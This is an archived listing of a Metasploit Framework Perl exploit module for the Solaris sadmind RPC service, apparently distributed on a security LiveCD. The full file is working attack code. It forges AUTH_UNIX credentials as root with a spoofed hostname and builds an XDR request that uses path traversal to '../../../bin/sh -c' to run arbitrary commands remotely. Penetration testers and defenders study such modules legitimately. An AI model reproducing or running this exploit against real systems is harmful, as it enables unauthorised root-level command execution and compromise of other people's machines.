home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / usr / lib / metasploit / exploits / solaris_sadmind_exec.pm < prev    next >
Text File  |  2006-06-30  |  6KB  |  242 lines

  1.  
  2. ##
  3. # This file is part of the Metasploit Framework and may be redistributed
  4. # according to the licenses defined in the Authors field below. In the
  5. # case of an unknown or missing license, this file defaults to the same
  6. # license as the core Framework (dual GPLv2 and Artistic). The latest
  7. # version of the Framework can always be obtained from metasploit.com.
  8. ##
  9.  
  10. package Msf::Exploit::solaris_sadmind_exec;
  11. use base "Msf::Exploit";
  12. use strict;
  13. use Pex::Text;
  14. use Pex::SunRPC;
  15. use Pex::XDR;
  16.  
  17. my $advanced = {};
  18. my $info =
  19.   {
  20.     'Name'    => 'Solaris sadmind Command Execution',
  21.     'Version' => '$Revision: 1.43 $',
  22.     'Authors' =>
  23.       [
  24.         'vlad902 <vlad902 [at] gmail.com>',
  25.         'H D Moore <hdm [at] metasploit.com>',
  26.         'Brian Caswell <bmc [at] snort.org>'
  27.       ],
  28.  
  29.     'OS'    => [ 'solaris' ],
  30.     'Priv'  => 1,
  31.  
  32.     'UserOpts'  =>
  33.       {
  34.         'RHOST' => [1, 'ADDR', 'The target address'],
  35.         'RPORT' => [1, 'PORT', 'The target RPC port', 111],
  36.         'UID'    => [1, 'DATA', 'UID to emulate', 0],
  37.         'GID'    => [1, 'DATA', 'GID to emulate', 0],
  38.       },
  39.  
  40.     'Payload' =>
  41.       {
  42.         'Space'    => 512,
  43.         'BadChars' => "\x00",
  44.         'Keys'     => ['cmd'],
  45.       },
  46.  
  47.     'Description'  => Pex::Text::Freeform(qq{
  48.         This exploit targets a weakness in the default security
  49.         settings of the sadmind RPC application. This server is
  50.         installed and enabled by default on most versions of the
  51.         Solaris operating system.    
  52. }),
  53.  
  54.     'Refs'  =>
  55.       [
  56.         ['OSVDB', '4585'],
  57.         ['URL', 'http://lists.insecure.org/lists/vulnwatch/2003/Jul-Sep/0115.html'],
  58.         ['MIL',  '64'],
  59.       ],
  60.  
  61.     'Targets' => [ ],
  62.     
  63.     'Keys'  => ['sadmind'],
  64.  
  65.     'DisclosureDate' => 'Sep 13 2003',
  66.   };
  67.  
  68. sub new {
  69.     my $class = shift;
  70.     my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
  71.     return($self);
  72. }
  73.  
  74. sub Check {
  75.     my $self = shift;
  76.  
  77.     my $ret_val;
  78.     if(($ret_val = sadmind_exec($self, "true")) == -1)
  79.     {
  80.         return $self->CheckCode('Generic');
  81.     }
  82.  
  83.     if($ret_val =~ m/Security exception on host (.*)\.  USER/)
  84.     {
  85.         $self->PrintLine("[*] The server reports access denied for sadmind.");
  86.         return $self->CheckCode('Safe');
  87.     }
  88.  
  89.     $self->PrintLine("[*] The server appears to be vulnerable.");
  90.     return $self->CheckCode('Confirmed');
  91. }
  92.  
  93. sub Exploit {
  94.     my $self = shift;
  95.     my $shellcode = $self->GetVar('EncodedPayload')->RawPayload;
  96.  
  97.     if(sadmind_exec($self, $shellcode) == -1)
  98.     {
  99.         return;
  100.     }
  101.  
  102.     sleep(3);
  103. }
  104.  
  105. sub sadmind_exec {
  106.     my ($self, $cmd) = @_;
  107.  
  108.     my %data;
  109.     if(Pex::SunRPC::Clnt_create(\%data, $self->GetVar('RHOST'), $self->GetVar('RPORT'), 100232, 10, "udp", "udp") == -1)
  110.     {
  111.         $self->PrintLine("[*] RPC request failed (sadmind).");
  112.         return -1;
  113.     }
  114.     Pex::SunRPC::Authunix_create(\%data, "localhost", 0, 0, []);
  115.  
  116.     my $ret_val;
  117.     if(($ret_val = sadmind_request($self, \%data, "m3t45p10i7", "true")) == -1)
  118.     {
  119.         return -1;
  120.     }
  121.  
  122.     my $target_hostname;
  123.     if($ret_val && $ret_val =~ m/Security exception on host (.*)\.  USER/)
  124.     {
  125.         $target_hostname = $1;
  126.     }
  127.     else
  128.     {
  129.         $self->PrintLine("[*] Could not obtain target hostname.");
  130.         return -1;
  131.     }
  132.  
  133.     $self->PrintLine("[*] Using hostname '$target_hostname'.");
  134.     Pex::SunRPC::Authunix_create(\%data, $target_hostname, $self->GetVar('UID'), $self->GetVar('GID'), []);
  135.  
  136.     if(($ret_val = sadmind_request($self, \%data, $target_hostname, $cmd)) == -1)
  137.     {
  138.         return -1;
  139.     }
  140.  
  141.     Pex::SunRPC::Clnt_destroy(\%data);
  142.  
  143.     return $ret_val;
  144. }
  145.  
  146. sub sadmind_request {
  147.     my ($self, $data_ref, $hostname, $command) = @_;
  148.  
  149.     my $request_header =
  150.       Pex::XDR::Encode_int(0).
  151.       Pex::XDR::Encode_int(0).
  152.       Pex::XDR::Encode_int(0).
  153.       Pex::XDR::Encode_int(0).
  154.       Pex::XDR::Encode_int(0).
  155.       Pex::XDR::Encode_int(0).
  156.       Pex::XDR::Encode_int(0).
  157.       Pex::XDR::Encode_int(6).
  158.       Pex::XDR::Encode_int(0).
  159.       Pex::XDR::Encode_int(0).
  160.       Pex::XDR::Encode_int(0).
  161.       Pex::XDR::Encode_int(4).
  162.       Pex::XDR::Encode_int(0).
  163.       Pex::XDR::Encode_int(4).
  164.       Pex::XDR::Encode_int(0x7f000001).
  165.       Pex::XDR::Encode_int(100232).
  166.       Pex::XDR::Encode_int(10).
  167.       Pex::XDR::Encode_int(4).
  168.       Pex::XDR::Encode_int(0x7f000001).
  169.       Pex::XDR::Encode_int(100232).
  170.       Pex::XDR::Encode_int(10).
  171.       Pex::XDR::Encode_int(17).
  172.       Pex::XDR::Encode_int(30).
  173.       Pex::XDR::Encode_int(0).
  174.       Pex::XDR::Encode_int(0).
  175.       Pex::XDR::Encode_int(0).
  176.       Pex::XDR::Encode_int(0).
  177.       Pex::XDR::Encode_string($hostname).
  178.       Pex::XDR::Encode_string("system").
  179.       Pex::XDR::Encode_string("../../../bin/sh");
  180.  
  181.     my $request_body =
  182.       do_int("ADM_FW_VERSION", 1).
  183.       do_string("ADM_LANG", "C").
  184.       do_string("ADM_REQUESTID", "00009:000000000:0").
  185.       do_string("ADM_CLASS", "system").
  186.       do_string("ADM_CLASS_VERS", "2.1").
  187.       do_string("ADM_METHOD", "../../../bin/sh").
  188.       do_string("ADM_HOST", $hostname).
  189.       do_string("ADM_CLIENT_HOST", $hostname).
  190.       do_string("ADM_CLIENT_DOMAIN", "").
  191.       do_string("ADM_TIMEOUT_PARMS", "TTL=0 PTO=20 PCNT=2 PDLY=30").
  192.       do_int("ADM_FENCE", 0).
  193.       do_string("X", "-c").
  194.       do_string("Y", $command).
  195.       Pex::XDR::Encode_string("netmgt_endofargs");
  196.  
  197.     my $request =
  198.       $request_header.
  199.       Pex::XDR::Encode_int(length($request_header) + length($request_body) - 326).
  200.       $request_body;
  201.  
  202.     if(Pex::SunRPC::Clnt_call($data_ref, 1, $request) == -1)
  203.     {
  204.         $self->PrintLine("[*] sadmind request failed.");
  205.         return -1;
  206.     }
  207.  
  208.     Pex::XDR::Decode_int(\$$data_ref{'data'});
  209.     Pex::XDR::Decode_int(\$$data_ref{'data'});
  210.     my $string = Pex::XDR::Decode_string(\$$data_ref{'data'});
  211.  
  212.     return $string;
  213. }
  214.  
  215. sub do_string {
  216.     my ($str1, $str2) = @_;
  217.  
  218.     my $buf =
  219.       Pex::XDR::Encode_string($str1).
  220.       Pex::XDR::Encode_int(9).
  221.       Pex::XDR::Encode_int(length($str2) + 1).
  222.       Pex::XDR::Encode_string($str2).
  223.       Pex::XDR::Encode_int(0).
  224.       Pex::XDR::Encode_int(0);
  225.  
  226.     return $buf;
  227. }
  228.  
  229. sub do_int {
  230.     my ($str1, $int1) = @_;
  231.  
  232.     my $buf =
  233.       Pex::XDR::Encode_string($str1).
  234.       Pex::XDR::Encode_int(3).
  235.       Pex::XDR::Encode_int(4).
  236.       Pex::XDR::Encode_int($int1).
  237.       Pex::XDR::Encode_int(0).
  238.       Pex::XDR::Encode_int(0);
  239.  
  240.     return $buf;
  241. }
  242.